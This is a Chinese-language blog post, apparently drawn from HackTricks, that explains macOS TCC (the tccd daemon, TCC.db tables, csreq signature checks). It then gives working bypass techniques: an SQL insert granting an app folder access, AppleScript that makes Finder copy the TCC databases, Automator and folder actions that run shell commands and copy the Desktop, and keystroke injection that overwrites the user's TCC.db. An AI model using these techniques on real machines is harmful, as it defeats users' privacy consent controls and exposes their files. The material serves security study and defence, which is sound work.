TCC

547 阅读4分钟

前言

TCC(透明度、同意和控制) 是一种专注于规范应用程序权限的安全协议。其主要作用是保护敏感功能,如位置服务、联系人、照片、麦克风、摄像头、可访问性和完整磁盘访问。通过在授予应用程序访问这些元素的权限之前要求用户明确同意,TCC 增强了隐私和用户对其数据的控制。

当应用程序请求访问受保护的功能时,用户会遇到 TCC。这可以通过允许用户批准或拒绝访问的提示来看到。此外,TCC 还可以适应直接用户操作,例如将文件拖放到应用程序中,以授予对特定文件的访问权限,确保应用程序只能访问明确允许的内容。

TCC由位于并配置在的守护进程处理(注册 mach 服务)。

/System/Library/PrivateFrameworks/TCC.framework/Support/tccd

/System/Library/LaunchDaemons/com.apple.tccd.system.plistcom.apple.tccd.system

在注册 mach 服务时定义的每个登录用户都会运行一个用户模式 tccd

/System/Library/LaunchAgents/com.apple.tccd.plistcom.apple.tccdcom.apple.usernotifications.delegate.com.apple.tccd

在这里您可以看到 tccd 以系统和用户身份运行:

ps -ef | grep tcc
    0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
  501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

权限从父应用程序继承,并根据Bundle IDDeveloper ID来跟踪权限

TCC 数据库

将权限信息存储在TCC数据库中:

  • 系统范围的TCC数据库其目录在/Library/Application Support/com.apple.TCC/TCC.db,它受到系统SIP保护,因此只有绕过SIP之后才可以写入
  • 用户范围的TCC数据库其目录在$HOME/Library/Application Support/com.apple.TCC/TCC.db,它虽然也受到系统保护,但是只有拥有高的TCC权限(完全磁盘访问权限)的进程就可以访问,比如FDA或者拥有 kTCCServiceEndpointSecurityClient权限的进程。

查询数据库

可以通过sqlite命令行或者DB Browser For SQLite软件查看TCC.db数据库。

TCC.db数据库有几个表

  • access:
  • active_policy:
  • access_overrides:
  • admin:
  • policies:
  • expired:
  • active_policy:

access

access表结构字段如下:

  • service:TCC权限字符标识
  • client:软件bundleId或者是二进制文件路径
  • client_type:client类型,如果client是bundle id那么就是0,如果client是二进制文件路径则类型为1.
  • auth_value:denied(0)、unknown(1)、allowed(2) 或 limited(3)
  • auth_reason:错误 (1)、用户同意 (2)、用户设置 (3)、系统设置 (4)、服务策略 (5)、MDM 策略 (6)、覆盖策略 (7)、缺少使用字符串 (8)、提示超时 (9)、预检未知 (10)、有权 (11)、应用类型策略 (12)
  • auth_version:始终为 1。由于这些auth_*字段是 macOS Big Sur 中的新字段,因此这似乎是意料之中的。据推测,这种情况会随着未来的 macOS 版本而改变。
  • csreq:客户端必须满足的二进制代码签名要求 ,才能授予访问权限。如果另一个程序使用相同的包标识符,则使用它来防止欺骗/冒充。有一个很棒的stack overflow 答案(由我本人编写)介绍了如何解码(或生成)此字段。
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"
  • policy_id:我认为这与MDM (移动设备管理)策略有关,组织可以使用该策略在全球范围内允许 TCC 访问某些应用程序。但是,策略无法自动授予摄像头或麦克风访问权限。可以生成这些配置文件的一个工具是github.com/carlashley/…
  • indirect_object_identifier:对于某些服务 ( kTCCServiceAppleEvents ),这是客户端要求与之交互的对象。与客户端一样,它是一个绝对路径或包标识符。如果没有意义,它将被设置为 UNUSED。
  • indirect_object_identifier_type:对于前一个值,它是 Bundle Identifier(0) 还是绝对路径(1)
  • indirect_object_code_identity:与csreq相同,但用于indirect_object_identifier而不是客户端。
  • flags:我找不到有关此的任何文档,而且它似乎总是 0。我相信它很可能与 MDM 政策一起使用
  • last_modified:上次修改此条目的时间(自 unix纪元开始以来的秒数)

TCC 签名检查

TCC数据库存储应用程序的Bundle ID ,但它也存储有关签名的信息,以确保请求使用权限的应用程序是正确的。

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

因此,使用相同名称和bundle ID的其他应用程序将无法访问授予其他应用程序的权限。

entitlement与权限

应用程序不仅需要请求并被授予访问某些资源的权限,还需要拥有相关的权限。例如,Telegram有权com.apple.security.device.camera请求访问相机。没有此权限的应用程序将无法访问相机(甚至不会向用户询问权限)。

但是,对于要访问某些用户文件夹(例如~/Desktop和~/Downloads)的应用~/Documents,它们不需要具有任何特定权限。系统将透明地处理访问并根据需要提示用户。

Apple 的应用程序不会生成提示。它们的授权列表中包含预先授予的权限,这意味着它们永远不会生成弹出窗口,也不会出现在任何TCC 数据库中。例如:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
    <string>kTCCServiceReminders</string>
    <string>kTCCServiceCalendar</string>
    <string>kTCCServiceAddressBook</string>
</array>

这将避免日历要求用户访问提醒、日历和地址簿。

TCC特权与旁路

插入TCC

如果在某个时候您设法获得 TCC 数据库的写访问权限,则可以使用以下命令添加条目(删除注释):

INSERT INTO access (
    service, 
    client, 
    client_type, 
    auth_value, 
    auth_reason, 
    auth_version, 
    csreq, 
    policy_id, 
    indirect_object_identifier_type, 
    indirect_object_identifier, 
    indirect_object_code_identity, 
    flags, 
    last_modified, 
    pid, 
    pid_version, 
    boot_uuid, 
    last_reminded
) VALUES (
    'kTCCServiceSystemPolicyDesktopFolder', -- service
    'com.googlecode.iterm2', -- client
    0, -- client_type (0 - bundle id)
    2, -- auth_value  (2 - allowed)
    3, -- auth_reason (3 - "User Set")
    1, -- auth_version (always 1)
    X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
    NULL, -- policy_id
    NULL, -- indirect_object_identifier_type
    'UNUSED', -- indirect_object_identifier - default value
    NULL, -- indirect_object_code_identity
    0, -- flags
    strftime('%s', 'now'), -- last_modified with default current timestamp
    NULL, -- assuming pid is an integer and optional
    NULL, -- assuming pid_version is an integer and optional
    'UNUSED', -- default value for boot_uuid
    strftime('%s', 'now') -- last_reminded with default current timestamp
);

FDA 自动化(查找器)

自动化权限的 TCC 名称是:kTCCServiceAppleEvents 此特定的 TCC 权限还指示可以在 TCC 数据库内部管理的应用程序(因此权限不允许管理所有内容)。

Finder是一个始终具有 FDA 的应用程序(即使它没有出现在 UI 中),因此如果您拥有它的自动化权限,则可以滥用其权限使其执行某些操作kTCCServiceAppleEvents。在这种情况下,您的应用将需要的权限com.apple.Finder。

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
    set homeFolder to path to home folder as string
    set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
    set targetFolder to POSIX file "/tmp" as alias
    duplicate file sourceFile to targetFolder with replacing
end tell
EOD
osascript<<EOD
tell application "Finder"
    set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
    set targetFolder to POSIX file "/tmp" as alias
    duplicate file sourceFile to targetFolder with replacing
end tell
EOD

您可以利用此功能来编写您自己的用户 TCC 数据库。

凭借此权限,您将能够要求 Finder 访问 TCC 限制文件夹并向您提供文件,但据我所知,您将无法让 Finder 执行任意代码来充分滥用其 FDA 访问权限。

因此,您将不能滥用 FDA 的全部权力。

这是 TCC 获取 Finder 自动化权限的提示:

请注意,由于Automator应用程序具有 TCC 权限kTCCServiceAppleEvents,因此它可以控制任何应用程序,例如 Finder。因此,拥有控制 Automator 的权限后,您还可以使用类似以下代码来控制Finder :

osascript<<EOD
set theScript to "touch /tmp/something"

tell application "Automator"
   set actionID to Automator action id "com.apple.RunShellScript"
   tell (make new workflow)
      add actionID to it
      tell last Automator action
         set value of setting "inputMethod" to 1
         set value of setting "COMMAND_STRING" to theScript
      end tell
      execute it
   end tell
   activate
end tell
EOD
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

脚本编辑器应用程序也是如此 它可以控制 Finder,但使用 AppleScript 则无法强制它执行脚本。

自动化(SE)到一些TCC

系统事件可以创建文件夹操作,文件夹操作可以访问某些 TCC 文件夹(桌面、文档和下载),因此可以使用如下脚本来滥用此行为:

# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
    -- Ensure Folder Actions are enabled
    set folder actions enabled to true

    -- Define the path to the folder and the script
    set homeFolder to path to home folder as text
    set folderPath to homeFolder & "Desktop"
    set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

    -- Create or get the Folder Action for the Desktop
    if not (exists folder action folderPath) then
        make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
    end if
    set myFolderAction to folder action folderPath

    -- Attach the script to the Folder Action
    if not (exists script scriptPath of myFolderAction) then
        make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
    end if

    -- Enable the Folder Action and the script
    enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

自动化 (SE) + FDA 可访问性 ( kTCCServicePostEvent| kTCCServiceAccessibility)  *****

启用自动化System Events+ 辅助功能 ( kTCCServicePostEvent) 允许向进程发送按键。这样,您就可以滥用 Finder 来更改用户的 TCC.db 或将 FDA 提供给任意应用程序(尽管这可能会提示输入密码)。

Finder 覆盖用户 TCC.db 示例:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
    -- Open Finder
    tell application "Finder" to activate

    -- Open the /tmp directory
    keystroke "g" using {command down, shift down}
    delay 1
    keystroke "/tmp"
    delay 1
    keystroke return
    delay 1

    -- Select and copy the file
    keystroke "TCC.db"
    delay 1
    keystroke "c" using {command down}
    delay 1

    -- Resolve $HOME environment variable
    set homePath to system attribute "HOME"

    -- Navigate to the Desktop directory under $HOME
    keystroke "g" using {command down, shift down}
    delay 1
    keystroke homePath & "/Library/Application Support/com.apple.TCC"
    delay 1
    keystroke return
    delay 1

    -- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
    keystroke "TCC.db"
    delay 1
    keystroke return
    delay 1
    key code 51 using {command down}
    delay 1

    -- Paste the file
    keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility向 FDA*

检查此页面以了解一些有效载荷,以滥用可访问性权限来获取 FDA* 的特权或运行键盘记录器。

FDA 端点安全客户端

如果有kTCCServiceEndpointSecurityClient,则说明您有 FDA。结束。

系统政策 SysAdmin 文件提交至 FDA

kTCCServiceSystemPolicySysAdminFiles允许更改NFSHomeDirectory更改其主文件夹的用户的属性,从而允许绕过TCC。

用户 TCC DB 至 FDA

获取用户TCC数据库的写权限,您无法授予自己权限,只有系统数据库中的用户才能授予该权限。FDA

但你可以给自己Automation rights to Finder,并滥用以前的技术来升级到 FDA*。

FDA 向 TCC 发出许可

完全磁盘访问是 TCC 名称是kTCCServiceSystemPolicyAllFiles

我不认为这是真正的特权,但万一你发现它有用:如果你用 FDA 控制一个程序,你可以修改用户 TCC 数据库并授予自己任何访问权限。万一你可能失去 FDA 权限,这可以作为一种有用的持久性技术。

SIP 旁路至 TCC 旁路

系统TCC 数据库受SIP保护,因此只有具有指定权限的进程才能修改它。因此,如果攻击者找到文件的SIP 绕过(能够修改受 SIP 限制的文件),他将能够:

  • 删除 TCC 数据库的保护,并授予自己所有 TCC 权限。他可以滥用以下任何文件,例如:
    • TCC 系统数据库
    • 注册表文件
    • MDMOverrides.plist

但是,还有另一种方法可以滥用此SIP 绕过来绕过 TCC,该文件

/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist

是需要 TCC 例外的应用程序的允许列表。因此,如果攻击者可以从此文件中删除 SIP 保护并添加自己的应用程序,该应用程序将能够绕过 TCC。例如添加终端:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

允许应用程序列表.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Services</key>
	<dict>
		<key>SystemPolicyAllFiles</key>
		<array>
			<dict>
				<key>CodeRequirement</key>
				<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
				<key>IdentifierType</key>
				<string>bundleID</string>
				<key>Identifier</key>
				<string>com.apple.Terminal</string>
			</dict>
		</array>
	</dict>
</dict>
</plist>

资料:book.hacktricks.xyz/macos-harde…